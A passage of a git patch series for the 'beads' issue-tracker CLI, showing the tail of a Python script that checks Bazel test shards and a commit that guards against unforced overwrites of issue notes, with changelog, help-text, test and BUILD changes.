-test.run selector and passes silently, and check_testcases.py only +rejects a shard with no tests at all. + +For each --suite this runs SCRIPT k SHARDS with BEADS_TEST_SHARD_LIST_ONLY=1 +(from the repository root, like the CI jobs) for k = 1..SHARDS, and compares +the names it lists with the top-level names in the test.xml of +Bazel shard k of LABEL in this invocation's BEP. Any test listed but absent +(or present but not listed), a shard count other than SHARDS, a missing +test.xml or a failing script is an error. So is a shard (or any test.xml of +a --whole LABEL, an unsharded target such as the conformance partitions) +whose top-level tests are all skipped: an injected -test.short, +BEADS_TEST_SKIP or a lost BEADS_TEST_EMBEDDED_DOLT=1 turns the tier into +t.Skip calls, which still list every test. It needs test.xml locally and +-test.v in it, as --config=embedded sets. + +Exit status: 0 if every shard matches, 1 otherwise. +""" + +import argparse +import os +import re +import subprocess +import sys +import xml.etree.ElementTree as ET + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from equivalence import read_bep, testlog_xmls # noqa: E402 + +LISTED = re.compile(r"^ (Test[A-Za-z0-9_]*)$") + +# Names the shard scripts' `grep '^func Test'` discovery lists that go test +# never runs as a test: TestMain(m *testing.M) is the package's test entry +# point (internal/storage/embeddeddolt/test_fixture_test.go), never a +# . The legacy jobs' -test.run selector harmlessly matches nothing +# for it. Filtered here rather than in the shard scripts so the legacy jobs' +# selection stays byte-for-byte what it was. scripts/ +# pr_risk_bazel_coverage_test.go runs both real scripts in list-only mode and +# requires every other listed name to be a `func Name(t *testing.T)`. +NOT_TESTS = frozenset({"TestMain"}) + + +def listed_tests(script, shard, shards): + """Return the set of tests SCRIPT assigns to shard SHARD of SHARDS.""" + env = dict(os.environ, BEADS_TEST_SHARD_LIST_ONLY="1") + out = subprocess.run( + ["bash", script, str(shard), str(shards)], + env=env, check=True, capture_output=True, text=True, + ).stdout + return {m.group(1) for m in map(LISTED.match, out.splitlines()) if m} - NOT_TESTS + + +def ran_tests(xml_path): + """Return (set of top-level Go tests, set of those skipped) in a test.xml.""" + names, skipped = set(), set() + for tc in ET.parse(xml_path).getroot().iter("testcase"): + name = tc.get("name", "") + if name.startswith("Test") and "/" not in name: + names.add(name) + if tc.find("skipped") is not None: + skipped.add(name) + return names, skipped + + +def all_skipped_problem(where, got, skipped): + if got and got == skipped: + return f"{where}: every top-level test ({len(got)}) was skipped" + return None + + +def check(tested, testlogs, suites, lister=listed_tests, whole=()): + """Return ([summary lines], [problems]) for suites of (label, script, shards) + and whole (unsharded or sharded) labels that must not be all-skipped.""" + lines, problems = [], [] + for label in whole: + if label not in tested: + problems.append(f"{label}: --whole, but the BEP has no result for it") + continue + for xml_path in testlog_xmls(testlogs, label, tested[label]): + rel = os.path.relpath(xml_path, testlogs) + if not os.path.exists(xml_path): + problems.append(f"{label}: {rel} missing (was test.xml downloaded?)") + continue + try: + got, skipped = ran_tests(xml_path) + except ET.ParseError as e: + problems.append(f"{label}: cannot parse {rel}: {e}") + continue + if not got: + problems.append(f"{label}: {rel} lists no tests") + p = all_skipped_problem(f"{label}: {rel}", got, skipped) + if p: + problems.append(p) + lines.append(f"{label}: not all skipped") + for label, script, shards in suites: + if tested.get(label) != shards: + problems.append(f"{label}: the BEP has {tested.get(label, 0)} shard(s), want {shards} ({script})") + continue + total = 0 + for k, xml_path in enumerate(testlog_xmls(testlogs, label, shards), start=1): + try: + want = lister(script, k, shards) + except (OSError, subprocess.CalledProcessError) as e: + problems.append(f"{label}: {script} {k} {shards} failed: {e}") + continue + rel = os.path.relpath(xml_path, testlogs) + if not os.path.exists(xml_path): + problems.append(f"{label}: {rel} missing (was test.xml downloaded?)") + continue + try: + got, skipped = ran_tests(xml_path) + except ET.ParseError as e: + problems.append(f"{label}: cannot parse {rel}: {e}") + continue + total += len(want) + p = all_skipped_problem(f"{label} shard {k}/{shards}", got, skipped) + if p: + problems.append(p) + for name in sorted(want - got): + problems.append(f"{label} shard {k}/{shards}: {name} is listed by {script} but did not run " + f"(not in the target's srcs?)") + for name in sorted(got - want): + problems.append(f"{label} shard {k}/{shards}: {name} ran but {script} does not list it there") + lines.append(f"{label}: {shards} shards, {total} listed tests") + return lines, problems + + +def main(argv=None): + ap = argparse.ArgumentParser(description=__doc__.split("\n\n")[0]) + ap.add_argument("--bep", required=True, help="--build_event_json_file of the bazel test run") + ap.add_argument("--testlogs", default=None, help="default: from the BEP, else ./bazel-testlogs") + ap.add_argument("--suite", nargs=3, action="append", required=True, metavar=("LABEL", "SCRIPT", "SHARDS"), + help="a manifest-sharded target, its shard script and shard count (repeatable)") + ap.add_argument("--whole", action="append", default=[], metavar="LABEL", + help="a target none of whose test.xml may be all skipped (repeatable)") + args = ap.parse_args(argv) + + suites = [] + for label, script, shards in args.suite: + if not shards.isdigit() or int(shards) < 1: + ap.error(f"--suite {label}: SHARDS must be a positive integer, got {shards!r}") + suites.append((label, script, int(shards))) + tested, _, bep_testlogs = read_bep(args.bep) + testlogs = args.testlogs or bep_testlogs or "bazel-testlogs" + lines, problems = check(tested, testlogs, suites, whole=args.whole) + for line in lines: + print(line) + for p in problems: + print(f"FAIL: {p}", file=sys.stderr) + return 1 if problems else 0 + + +if __name__ == "__main__": + sys.exit(main()) From 45a116d1a7d857a8b5c853386845d120bb76c6d7 Mon Sep 17 00:00:00 2001 From: Isis Anisoptera Date: Thu, 1 Oct 2026 05:02:40 -0700 Subject: [PATCH 023/325] fix(update): fence unforced --notes overwrites behind --force across all surfaces (#5946) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(update): fence unforced --notes overwrites behind --force across all surfaces bd update --notes silently replaced existing notes, destroying handoff history. The contract now refuses an unforced overwrite of non-empty notes with ErrNotesOverwrite (409 notes_overwrite_refused over HTTP, force_notes_overwrite to override), enforced inside the mutation transaction on both the dolt and uow backends, for single updates and batch apply alike. CAS guards keep precedence: a stale --if-assignee/--if-status still surfaces as the exit-13 mismatch, on both backends, before the fence speaks. CLI: --force and --if-assignee are no longer mutually exclusive (that exclusion made overwriting under a guard impossible); both update routes translate the fence's sentinel into the same actionable advice (--force to overwrite, --append-notes to preserve history), and the post---force warning is worded as an audit statement. The shipped plugin skill docs and bd note help now prescribe --append-notes for handoffs instead of the newly fenced bare --notes. The fence is the single enforcement point: no client-side pre-read copies of the rule. Conformance contracts, unit tests for AuthorizeNotesOverwrite, and embedded/proxied/httpapi regression coverage included. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01MAFpn9pUw8WKMfymteZHbh * fix(update): exempt explicit clears from the notes fence; share its predicate CI surfaced three gaps in the fence's reach: - Clearing notes (--notes "" / patch.notes: "") was refused, diverging from every sibling text field's clear and from the backend behavior contracts. The fence now targets only its actual footgun — replacing non-empty notes with different non-empty content — via a single shared predicate, issueops.NotesReplacement, used by both the contract's AuthorizeNotesOverwrite and the CLI's warning path, so the two can no longer drift. Prose updated to match everywhere the rule is stated (ErrNotesOverwrite, ForceNotesOverwrite, OpenAPI spec + regenerated types). - The revision-CAS integration tests' incidental concurrent writes now patch design instead of notes, so they no longer depend on notes-fence semantics at all. - The historical-upgrade harness deliberately replaces fixture notes and asserts the new value; its two bd update --notes calls now pass --force. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01MAFpn9pUw8WKMfymteZHbh * fix(update): address review — changelog BREAKING entry, problem.go doc block, close-policy-under-guard test Review follow-ups on #5946 (bee-ghosttrack, MERGE-AFTER-FIXES): - CHANGELOG: BREAKING entry under [Unreleased] ### Changed for the notes fence on both wires (CLI exit 1, HTTP 409 notes_overwrite_refused), with the --force / --append-notes migration line. It also names the two deliberate edges: the explicit-clear exemption, and --force widening to the close-policy half under --if-assignee now that the flag pair is legal. - problem.go: CodeNotesOverwrite's comment had landed inside CodeDependencyCycle's doc block; each const now sits under its own docs. - assign_fence_embedded_test.go: pin the previously untested close-policy half of --force under --if-assignee (refused unforced, authorized forced). Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01JyuQ6Tjv3D7tpNqeb2WDED * test(update): align TestWarnNotesReplacement with the post-fence warning copy The test landed on main after this branch was cut and pins the pre-fence wording, where the warning fired on any unforced overwrite. Since the fence, an unforced overwrite is refused outright and warnNotesReplacement fires only after a forced one — the audit trail for a habitual --force — so the copy it pins is now '--force replaced existing notes'. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01JyuQ6Tjv3D7tpNqeb2WDED * docs(import): record bd import's notes-fence exemption as by-design (GH#6190) Import consults none of the per-field live-state fences — notes overwrite, live-claim reassign, close policy — and that is the intended shape, not an omission: its contract is wholesale row replacement, guarded by its own staleness check (only strictly-newer rows rewrite local state, --allow-stale is the single deliberate-overwrite opt-in) and reported field-by-field in updated_issues. Named in AuthorizeNotesOverwrite's enforcement-boundary comment and in bd import's help; the published CLI docs pick the help text up at the next release pin bump. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01JyuQ6Tjv3D7tpNqeb2WDED * fix(update): refuse --notes "" and add --clear-notes; stop --notes help reading as additive GH#6021: an empty --notes wiped the whole notes field at exit 0 behind the same ✓ Updated receipt as a successful write — and the empty string is exactly what a dead command substitution collapses to. The empty value is now refused on both CLI routes (the accident and the deliberate clear are the same bytes at the flag layer), and the deliberate clear gets its own verb, --clear-notes, mutually exclusive with --notes/--append-notes. A verb rather than the proposed --allow-empty-notes opt-in: what needs authorizing is an intent, not an input path — --allow-empty-description unblocks stdin/file plumbing, which notes does not have — and an opt-in passed habitually would silently disarm the guard while a habitual --clear-notes fails loudly. --force does not bypass the refusal; the fence's clear exemption stands, so the verb alone authorizes the erase. The HTTP API is unchanged: patch.notes "" still clears. GH#6272: bd update --help called --notes "Additional notes" and the prime text said "Add supplementary notes" — both read as appending, so agents following the injected guidance faithfully clobbered prior context. The update help now names the operation with the --append-notes contrast at the point of use, the shared/create help is field-named like --description and --design, and the prime line points at bd update --append-notes. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01JyuQ6Tjv3D7tpNqeb2WDED * fix(bazel): enumerate the PR-new files in cmd/bd and issueops srcs The base added cmd/bd/BUILD.bazel and internal/storage/issueops/BUILD.bazel with EXPLICIT srcs lists after this branch was cut, so the three files this PR adds were never enumerated: cmd/bd/update_notes_guard.go (go_library bd_lib) cmd/bd/update_notes_guard_test.go (go_test bd_test) internal/storage/issueops/aggregate_authorize_notes_test.go (go_test) The go_library omission is a hard build break, not a silent skip: update.go:215,220 and update_input.go:106,111 are enumerated and call validateNotesUpdate / clearNotesRequested, so //cmd/bd:bd_lib compiles the callers without the callee. bazel.yml arms unconditionally for fork PRs (head.repo.fork == true) and builds //cmd/bd:bd + //cmd/bd:bd_test, so this reds the lane. make bazel-sync-check cannot see it -- go_srcs.py only validates the glob-based go_srcs filegroup, never the rule srcs lists. Generated by make bazel-sync (gazelle), not hand-edited, so the workflow's own BUILD-files-in-sync drift step agrees byte-for-byte. * fix(notes): name --clear-notes in bd note's rm guidance, correct the fence boundary comment, pin both request-shape rules Takes all three non-gating minors from the review. No behavior change: two prose fixes and two test cases. 1. cmd/bd/note.go's rm|remove|delete branch advised `bd update --notes "text" --force` under "To change or clear notes", but clearing through --notes is exactly what this PR made impossible -- validateNotesUpdate refuses an empty value unconditionally and --force does not reach it. The branch now names both verbs separately: --notes --force to replace, --clear-notes to clear. The edit and update branches speak only of replacing and were already correct, so they are untouched. 2. aggregate.go's enforcement-boundary comment claimed the UpdateIssueInTx funnel's "one notes-replacing caller is bd edit". Under this PR's own NotesReplacement predicate there are at least four more (bd note's read-combine-write, bd defer --reason, bd rename and delete-tombstoning's mechanical ID rewrites, bd compact's clears). The exemption is still sound -- every funnel writer derives its new value from the current notes -- so the comment now names those CLASSES instead of a single caller, which is the claim that is actually true and that a future fence auditor can check. 3. Both branches this PR adds to ValidateUpdateRequest were uncovered: the batch apply leg reaches them here and nowhere else, while the single-issue HTTP handler's own pre-check returns before storage. Added a sibling table (the existing one varies only the patch; these two rules are properties of the REQUEST) with a case each. Mutation-checked, disjoint: neutralizing the force-without-notes branch reds only the first case, neutralizing the notes+append branch reds only the second, and the pre-existing canonical-fields table stays green under both. Not an amend of 5ffcc9c16c: that commit's message states it was generated by make bazel-sync and not hand-edited, so folding hand-written Go into it would falsify the claim its own BUILD-files-in-sync argument rests on. No new files, so the srcs lists it repaired stay correct. --------- Co-authored-by: Claude Fable 5 Co-authored-by: Gas City Adopt-PR --- AGENTS.md | 2 +- AGENT_INSTRUCTIONS.md | 2 +- CHANGELOG.md | 60 ++++++++++ .../conformance/issue_operations_contract.go | 2 +- .../conformance/lifecycle_update_contract.go | 2 +- cmd/bd/AGENTS.md | 2 +- cmd/bd/BUILD.bazel | 2 + cmd/bd/assign_fence_embedded_test.go | 44 ++++++- cmd/bd/flags.go | 5 +- cmd/bd/import.go | 7 ++ cmd/bd/note.go | 15 ++- cmd/bd/prime.go | 4 +- .../serve_close_proxied_integration_test.go | 2 +- .../serve_delete_proxied_integration_test.go | 2 +- cmd/bd/show_unit_helpers.go | 4 +- cmd/bd/update.go | 79 ++++++++++--- cmd/bd/update_embedded_test.go | 110 +++++++++++++++++- cmd/bd/update_input.go | 11 +- cmd/bd/update_lifecycle_test.go | 6 + cmd/bd/update_notes_guard.go | 35 ++++++ cmd/bd/update_notes_guard_test.go | 40 +++++++ cmd/bd/update_notes_warning_test.go | 14 ++- cmd/bd/update_proxied_integration_test.go | 77 +++++++++++- cmd/bd/update_proxied_server.go | 6 + internal/httpapi/apigen/types.gen.go | 10 +- internal/httpapi/batch_apply.go | 9 +- internal/httpapi/batch_apply_test.go | 12 +- internal/httpapi/problem.go | 15 ++- internal/httpapi/spec/openapi.v0.yaml | 38 +++++- internal/httpapi/update.go | 27 ++++- internal/httpapi/update_test.go | 12 +- internal/storage/issueops/BUILD.bazel | 1 + internal/storage/issueops/aggregate.go | 48 +++++++- .../aggregate_authorize_notes_test.go | 99 ++++++++++++++++ internal/storage/issueops/batch_apply.go | 1 + internal/storage/issueops/execution.go | 3 + .../issueops/update_validation_test.go | 39 +++++++ internal/storage/storage.go | 1 + internal/storage/uow/batch_applier.go | 4 + internal/storage/uow/issue_operations.go | 22 +++- issueops/batchapplier.go | 8 +- issueops/errors.go | 26 +++++ issueops/issueops.go | 13 +++ plugins/beads/skills/beads/README.md | 2 +- .../beads/resources/INTEGRATION_PATTERNS.md | 10 +- .../skills/beads/resources/ISSUE_CREATION.md | 2 +- .../beads/skills/beads/resources/PATTERNS.md | 14 +-- .../beads/skills/beads/resources/WORKFLOWS.md | 8 +- .../historical-dolt-upgrade-test.sh | 7 +- tests/regression/discovery_test.go | 2 +- tests/regression/regression_test.go | 17 ++- tests/regression/scenarios_test.go | 6 +- 52 files changed, 880 insertions(+), 109 deletions(-) create mode 100644 cmd/bd/update_notes_guard.go create mode 100644 cmd/bd/update_notes_guard_test.go create mode 100644 internal/storage/issueops/aggregate_authorize_notes_test.go diff --git a/AGENTS.md b/AGENTS.md index ae181ad51..18a5847d5 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -80,7 +80,7 @@ Use `bd update` with flags instead: bd update --description "new description" bd update --title "new title" bd update --design "design notes" -bd update --notes "additional notes" +bd update --append-notes "additional notes" # --notes replaces existing notes and requires --force once notes are set bd update --acceptance "acceptance criteria" # Use stdin for descriptions with special characters (backticks, !, nested quotes) diff --git a/AGENT_INSTRUCTIONS.md b/AGENT_INSTRUCTIONS.md index 133e14aea..3afc356e7 100644 --- a/AGENT_INSTRUCTIONS.md +++ b/AGENT_INSTRUCTIONS.md @@ -196,7 +196,7 @@ cleanup, and next-session hand-off). bd update --description "new description" bd update --title "new title" bd update --design "design notes" -bd update --notes "additional notes" +bd update --append-notes "additional notes" # --notes replaces existing notes and requires --force once notes are set bd update --acceptance "acceptance criteria" ``` diff --git a/CHANGELOG.md b/CHANGELOG.md index 394aecee0..754391433 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -873,6 +873,35 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 and the README snippet — so `bd init` and copy-paste do not re-introduce the prohibition. +- **BREAKING: unforced `bd update --notes` over existing notes is now refused, + not warned** ([#5946](https://github.com/gastownhall/beads/pull/5946)). + Replacing existing non-empty notes with different non-empty content — the + blind clobber that destroys another agent's handoff notes — previously + printed a warning *after* succeeding; it now writes nothing and exits 1. The + same fence turns `PATCH /v0/beads/issues/{id}` and `batch:apply` from 200 + into 409 `notes_overwrite_refused` when `patch.notes` would do the same, on + both backends and both batch legs. Migration: pass `--force` (CLI) or + `force_notes_overwrite` (API) to overwrite deliberately — the CLI then + prints the old warning as an audit trail — or preserve history with + `--append-notes` / `bd note`. + + Two edges are deliberate. **An explicit clear is never fenced behind + `--force`**: `--notes ""` (or an API patch to the empty string) does not + trip this refusal, because every sibling text field clears the same way, + the pattern the fence exists to stop is an agent writing its own content + over someone else's, and the refusal's advice — force, or append — is + meaningless for a clear. (The CLI gives the clear its own verb, + `--clear-notes` — see the next entry — but never gates it behind + `--force`.) And + **`--force` is no longer mutually exclusive with `--if-assignee`**, since a + guarded notes overwrite has to be able to say both. This widens what + `--force` reaches under the guard: its assignee half stays suppressed (a + transfer under `--if-assignee` authorizes only through the matching CAS, + never the force bypass), but its close-policy half — closing despite open + children or a live blocker — now applies there too, a combination the CLI + previously rejected outright. `bd edit` is unaffected: it pre-fills the + editor with the current notes, a sighted edit rather than a blind clobber. + - **`bd mol bond --ref` no longer deadlocks the molecule it bonds into, and no longer accepts `--type conditional`.** A `--ref` arm is nested inside its target and its hierarchical ID records that, so an ordering edge onto the @@ -987,6 +1016,37 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ([#6293](https://github.com/gastownhall/beads/pull/6293)). `json: true` in the config file selects JSON output for `bd preflight`, as it already did elsewhere; previously only the explicit flag was honored. +- **BREAKING: `bd update --notes ""` is now refused; clear with + `--clear-notes`** ([#6021](https://github.com/gastownhall/beads/issues/6021)). + An empty `--notes` previously wiped the whole notes field at exit 0 behind + the same `✓ Updated` receipt as a successful write — and the empty string + is exactly what a dead command substitution (`--notes "$(cat + missing.txt)"`) collapses to, the accident behind every recorded loss in + the report. At the flag layer the accident and the deliberate clear are the + same bytes, so the empty value is refused unconditionally (exit 1, naming + the alternative) and the deliberate clear gets its own verb: `bd update + --clear-notes`, mutually exclusive with `--notes` and + `--append-notes`. A verb rather than an `--allow-empty-notes` opt-in + because what needs authorizing is an intent, not an input path — the + description guard's `--allow-empty-description` unblocks stdin/file + plumbing, which notes does not have — and because an opt-in passed + habitually would silently disarm the guard, while a habitual + `--clear-notes` fails loudly on the next real update. `--force` does not + bypass the refusal (the overwrite fence answers a different question), + `--append-notes ""` remains a safe no-op, and the HTTP API is unchanged: + `patch.notes: ""` still clears — a JSON payload is a deliberate + construction, not a shell substitution. + +- **`--notes` help no longer reads as additive** + ([#6272](https://github.com/gastownhall/beads/issues/6272)). `bd update + --help` described `--notes` as "Additional notes" and the `bd prime` text + said "Add supplementary notes" — both read as appending, so agents + following the injected guidance faithfully clobbered prior context. The + update help now names the operation ("Replace the notes field …") with the + `--append-notes` contrast at the point of use, and the base/create help is + field-named like `--description` and `--design`, implying no merge + behavior. + - **`bd gate check` resolves bead gates whose target lives in a prefix-routed rig** ([#5859](https://github.com/gastownhall/beads/pull/5859)). After a local miss, the evaluator follows the target bead ID through `routes.jsonl` and diff --git a/backend/conformance/issue_operations_contract.go b/backend/conformance/issue_operations_contract.go index 8ccb84c3a..7f6372471 100644 --- a/backend/conformance/issue_operations_contract.go +++ b/backend/conformance/issue_operations_contract.go @@ -1479,7 +1479,7 @@ func RunIssueOperationsUpdateWritesEveryScalarPatchField(t *testing.T, ctx conte {"defer_until", patchedDefer.Format(issueOperationsStoredTimeLayout)}, } - written, err := fixture.Operations.Update(ctx, publicops.UpdateRequest{Actor: "writer", IssueID: id, Patch: patch}) + written, err := fixture.Operations.Update(ctx, publicops.UpdateRequest{Actor: "writer", IssueID: id, Patch: patch, ForceNotesOverwrite: true}) if err != nil { t.Fatalf("full scalar patch on %s: %v", id, err) } diff --git a/backend/conformance/lifecycle_update_contract.go b/backend/conformance/lifecycle_update_contract.go index 4448f7ff1..8d7155a3a 100644 --- a/backend/conformance/lifecycle_update_contract.go +++ b/backend/conformance/lifecycle_update_contract.go @@ -437,7 +437,7 @@ func RunLifecycleUpdateAppendsNotesWithoutReplacingThem(t *testing.T, ctx contex replaced, err := fixture.Lifecycle.Update(ctx, publicops.UpdateRequest{Actor: "writer", IssueID: id, Patch: publicops.IssuePatch{ Notes: publicops.Field[string]{Set: true, Value: "replaced"}, - }}) + }, ForceNotesOverwrite: true}) if err != nil { t.Fatalf("replace notes on %s: %v", id, err) } diff --git a/cmd/bd/AGENTS.md b/cmd/bd/AGENTS.md index 9f94385f1..c5e09f399 100644 --- a/cmd/bd/AGENTS.md +++ b/cmd/bd/AGENTS.md @@ -27,7 +27,7 @@ Use `bd update` with flags instead: bd update --description "new description" bd update --title "new title" bd update --design "design notes" -bd update --notes "additional notes" +bd update --append-notes "additional notes" # --notes replaces existing notes and requires --force once notes are set bd update --acceptance "acceptance criteria" ``` diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 338715c12..a08de0d9a 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -339,6 +339,7 @@ go_library( "update.go", "update_description_guard.go", "update_input.go", + "update_notes_guard.go", "update_proxied_server.go", "upgrade.go", "vc.go", @@ -1171,6 +1172,7 @@ go_test( "update_lifecycle_test.go", "update_metadata_test.go", "update_multi_id_exit_test.go", + "update_notes_guard_test.go", "update_notes_warning_test.go", "update_proxied_integration_test.go", "update_proxied_server_test.go", diff --git a/cmd/bd/assign_fence_embedded_test.go b/cmd/bd/assign_fence_embedded_test.go index 480214e35..617c475a0 100644 --- a/cmd/bd/assign_fence_embedded_test.go +++ b/cmd/bd/assign_fence_embedded_test.go @@ -163,8 +163,8 @@ func TestReassignFenceCLI(t *testing.T) { t.Run("if_assignee_transfer_needs_no_force", func(t *testing.T) { // The holder-aware CAS (bd-wsqvw park transition) names the holder - // explicitly — nothing silent — and --force/--if-assignee are - // mutually exclusive, so the fence must not fire under the guard. + // explicitly — nothing silent — so the fence must not fire under the + // guard, with or without --force. issue := claimAs(t, "holder") bdUpdate(t, bd, dir, issue.ID, "--actor", "supervisor", "--if-assignee", "holder", "--assignee", "parked") if got := bdShow(t, bd, dir, issue.ID); got.Assignee != "parked" { @@ -172,11 +172,43 @@ func TestReassignFenceCLI(t *testing.T) { } }) - t.Run("force_and_if_assignee_mutually_exclusive", func(t *testing.T) { + t.Run("force_and_if_assignee_combine_via_the_cas", func(t *testing.T) { + // --force and --if-assignee are no longer mutually exclusive at the + // flag level: a caller pairing --notes with --if-assignee needs + // --force to opt into overwriting existing notes, and cobra can no + // longer refuse the combination outright. An assignee edit riding the + // same command still transfers ONLY through the --if-assignee CAS, + // never through --force: runCommandUpdateMutation never asserts + // ForceAssigneeTransfer when ExpectedAssignee is set, so this is the + // SAME guarded park as the case above, --force along for the ride. issue := claimAs(t, "holder") - out, _ := bdUpdateFailCode(t, bd, dir, issue.ID, "--force", "--if-assignee", "holder", "--assignee", "x") - if !strings.Contains(out, "force") || !strings.Contains(out, "if-assignee") { - t.Errorf("expected flag-exclusion error naming both flags, got:\n%s", out) + bdUpdate(t, bd, dir, issue.ID, "--actor", "supervisor", "--force", "--if-assignee", "holder", "--assignee", "parked") + if got := bdShow(t, bd, dir, issue.ID); got.Assignee != "parked" { + t.Errorf("guarded park should pass with --force along for the ride: assignee=%q, want parked", got.Assignee) + } + }) + + t.Run("force_with_if_assignee_arms_close_policy", func(t *testing.T) { + // The close-policy half of --force stays armed under --if-assignee: + // only the assignee-transfer half defers to the CAS. A guarded close + // of a parent with an open child was unreachable while cobra rejected + // the flag pair; now it must behave exactly like an unguarded one — + // refused unforced, authorized with --force. + parent := claimAs(t, "holder") + child := bdCreate(t, bd, dir, "Open child", "--type", "task") + bdRunOK(t, bd, dir, "dep", "add", child.ID, parent.ID, "--type", "parent-child") + + out, code := bdUpdateFailCode(t, bd, dir, parent.ID, "--actor", "holder", "--if-assignee", "holder", "--status", "closed") + if code != 1 { + t.Errorf("unforced guarded close exit = %d, want 1 (policy refusal, never 13/guard-mismatch)\n%s", code, out) + } + if got := bdShow(t, bd, dir, parent.ID); got.Status != types.StatusInProgress { + t.Errorf("refused close changed the row: status=%s, want in_progress", got.Status) + } + + bdUpdate(t, bd, dir, parent.ID, "--actor", "holder", "--force", "--if-assignee", "holder", "--status", "closed") + if got := bdShow(t, bd, dir, parent.ID); got.Status != types.StatusClosed { + t.Errorf("forced guarded close did not apply: status=%s, want closed", got.Status) } }) diff --git a/cmd/bd/flags.go b/cmd/bd/flags.go index 2f7289800..0fc5c18af 100644 --- a/cmd/bd/flags.go +++ b/cmd/bd/flags.go @@ -30,7 +30,10 @@ func registerCommonIssueFlags(cmd *cobra.Command) { cmd.Flags().String("design-file", "", "Read design from file (use - for stdin)") cmd.MarkFlagsMutuallyExclusive("design", "design-file") cmd.Flags().String("acceptance", "", "Acceptance criteria") - cmd.Flags().String("notes", "", "Additional notes") + // Field-named like --description and --design — no merge behavior implied + // (GH#6272: "Additional notes" read as additive while update replaces the + // field; update overrides this usage string with the operational contrast). + cmd.Flags().String("notes", "", "Notes") cmd.Flags().String("append-notes", "", "Append to existing notes (with newline separator)") cmd.Flags().String("external-ref", "", "External reference (e.g., 'gh-9', 'jira-ABC', Linear URL)") } diff --git a/cmd/bd/import.go b/cmd/bd/import.go index 88f4d6454..a100f36a6 100644 --- a/cmd/bd/import.go +++ b/cmd/bd/import.go @@ -76,6 +76,13 @@ an import is visible. To deliberately restore an older snapshot, pass --allow-stale, which imports every row even when it overwrites newer local state. +The staleness guard is import's ONLY overwrite guard: the per-field +fences that bd update enforces (notes overwrite, live-claim reassign, +close policy) do not apply to imported rows. Import replaces rows +wholesale by design — a restore must not fail field-by-field — so +--allow-stale is the single deliberate-overwrite opt-in, and +updated_issues is where to look for what an import rewrote. + Large imports are written in bounded transactions (a few hundred issues each, with a short pause between commits) with progress on stderr, so concurrent bd commands keep working while the import runs instead of diff --git a/cmd/bd/note.go b/cmd/bd/note.go index c0f7e772d..b0c8eeeab 100644 --- a/cmd/bd/note.go +++ b/cmd/bd/note.go @@ -67,8 +67,8 @@ See: bd note --help`) To append a note: bd note "text" -To change an issue field: - bd update --notes "text" +To replace existing notes (requires --force once notes are set): + bd update --notes "text" --force See: bd note --help`) case "rm", "remove", "delete": @@ -77,8 +77,11 @@ See: bd note --help`) To append a note: bd note "text" -To change or clear notes: - bd update --notes "text" +To replace notes (requires --force once notes are set): + bd update --notes "text" --force + +To clear notes: + bd update --clear-notes See: bd note --help`, args[0], args[0]) case "update": @@ -87,9 +90,9 @@ See: bd note --help`, args[0], args[0]) To append a note: bd note "text" -To set or append notes via the long form: - bd update --notes "text" +To append or replace notes via the long form: bd update --append-notes "text" + bd update --notes "text" --force (replaces; --force needed once notes are set) See: bd note --help`) } diff --git a/cmd/bd/prime.go b/cmd/bd/prime.go index d8b5ce1b2..e7bc1a4c1 100644 --- a/cmd/bd/prime.go +++ b/cmd/bd/prime.go @@ -1056,7 +1056,7 @@ git status # Check changed files - ` + "`bd unclaim `" + ` - Release stuck issue (agent crashed) - ` + "`bd update --assignee=username`" + ` - Assign to someone - ` + "`bd update --if-assignee= --assignee=`" + ` - Atomic reassign: applies only if the assignee still matches (--if-status= guards status; --if-assignee='' requires unassigned). Mismatch exits non-zero with nothing written — never retry blindly -- ` + "`bd update --title/--description/--notes/--design`" + ` - Update fields inline +- ` + "`bd update --title/--description/--design`" + ` - Update fields inline (` + "`--notes`" + ` replaces existing notes and requires ` + "`--force`" + ` once set; prefer ` + "`--append-notes`" + `) - ` + "`bd close `" + ` - Mark complete - ` + "`bd close ...`" + ` - Close multiple issues at once (more efficient) - ` + "`bd close --reason=\"explanation\"`" + ` - Close with reason @@ -1079,7 +1079,7 @@ git status # Check changed files - ` + "`bd create --validate`" + ` - Check description has required sections - ` + "`bd create --acceptance=\"criteria\"`" + ` - Set acceptance criteria (checked by --validate) - ` + "`bd create --design=\"decisions\"`" + ` - Record design decisions -- ` + "`bd create --notes=\"context\"`" + ` - Add supplementary notes +- ` + "`bd create --notes=\"context\"`" + ` - Set supplementary notes (add later with ` + "`bd update --append-notes`" + `) - ` + "`bd config set validation.on-create warn`" + ` - Auto-validate on every create - ` + "`bd lint`" + ` - Check existing issues for missing sections diff --git a/cmd/bd/serve_close_proxied_integration_test.go b/cmd/bd/serve_close_proxied_integration_test.go index 91200ccde..5168b25a0 100644 --- a/cmd/bd/serve_close_proxied_integration_test.go +++ b/cmd/bd/serve_close_proxied_integration_test.go @@ -369,7 +369,7 @@ func TestProxiedServerServeClose(t *testing.T) { } first := revisionOf(t, raw) - status, raw = sp.updateIssueRaw(t, issue.ID, `{"actor":"other-agent","patch":{"notes":"moved"}}`) + status, raw = sp.updateIssueRaw(t, issue.ID, `{"actor":"other-agent","patch":{"design":"moved"}}`) if status != http.StatusOK { t.Fatalf("the concurrent write: status = %d, want 200: %s", status, raw) } diff --git a/cmd/bd/serve_delete_proxied_integration_test.go b/cmd/bd/serve_delete_proxied_integration_test.go index 4118fe756..9c17bd933 100644 --- a/cmd/bd/serve_delete_proxied_integration_test.go +++ b/cmd/bd/serve_delete_proxied_integration_test.go @@ -83,7 +83,7 @@ func TestProxiedServerServeDelete(t *testing.T) { } first := revisionOf(t, raw) - status, raw = sp.updateIssueRaw(t, issue.ID, `{"actor":"other-agent","patch":{"notes":"moved"}}`) + status, raw = sp.updateIssueRaw(t, 